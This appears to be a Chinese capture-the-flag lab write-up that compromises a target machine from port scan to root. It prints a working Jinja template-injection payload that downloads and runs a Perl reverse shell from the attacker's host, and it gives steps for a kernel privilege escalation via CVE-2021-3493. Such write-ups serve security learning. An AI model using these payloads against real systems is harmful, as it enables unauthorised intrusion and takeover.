靶机ip:172.16.33.29
突破
端口扫描
sudo nmap -p- 172.16.33.29 --open
结果如下:
特定端口扫描
sudo nmap -p22,80,5000,31337 -sV -A 172.16.33.29
结果如下(31337的无用信息过长,在此省略):
针对5000端口
看到5000端口是httpd,则尝试访问http://172.16.33.29:5000,如图所示:
依此点开2792/4567/8345/7723/2984/2973,并将其中的内容进行翻译:
2792:
目前门票管理和观看系统是开放的,不需要任何形式的授权。我们应该添加对通过密码和用户API密钥或令牌进行授权的支持。
4567:
删除票据创建服务上存在的所有默认用户,因为为意外访客留下任何入口点可能是非常危险的。此外,我还建议增加对密码复杂性的检查。
8345:
有一些问题与postgres查询,我认为这需要尽快解决
7723:
我们知道umang已经辞职了,所以在我们找到接替者之前,Jack将负责风险限制UI的领导工作。RLUI团队必须让Jack了解所有正在发生的发展。
2984:
这是对服务台的请求,因为很多人(杰森,大卫,弗雷迪等)不是被解雇就是辞职。如果我们能从系统中删除他们的账户和权限就太好了。
2973:
提醒一下,蜜罐项目的最后期限是下周,我们最好尽快完成。
从以上信息中,我们得到了几个可能的用户名:
guests,umang,jack,jason,david,freddy
针对31337端口
尝试用nc登录31337端口,发现要输入账号密码,将上面所有的用户名作为账密登录一遍后发现guest-guest可以登录进去:
按照提示输入help看指令都有哪些,发现可以增删ticket,先随便创建一个试试看:
在5000端口里看到了创建的信息:
通过他可以将用户输入的信息进行展示这一点,猜测其有ssti漏洞。
测试一下,在内容处输入“{{7*7}}”(此处为尝试jinja模版语言):
显示结果“49”,印证猜测
尝试编写脚本:
{{request | attr('application') | attr('__globals__') | attr('__getitem__')('__builtins__') | attr('__getitem__')('__import__')('os') | attr('popen')('wget http://<本地ip>/<脚本文件名>.pl;perl <脚本文件名>.pl') | attr('read')() }}
其大概意思是通过wget从本地上传一个perl语言脚本(此处本地需要开启python传输),perl语言脚本可以用kali自带的reverse_perl,将其中的ip和端口号改成自己的即可:
做好端口监听,访问该ticket
反弹成功,突破完成。
提权
升级终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
通过内核漏洞进行提权
查看ubuntu版本和linux内核号:
尝试用CVE-2021-3493漏洞进行提权:
通过wget和python传输功能将exploit.c传输到目标机的/tmp目录,进行现场编译,改权限,执行操作:
gcc -o abc exploit.c --static
chmod +x abc
./abc
查看id:
提权成功,打靶完成。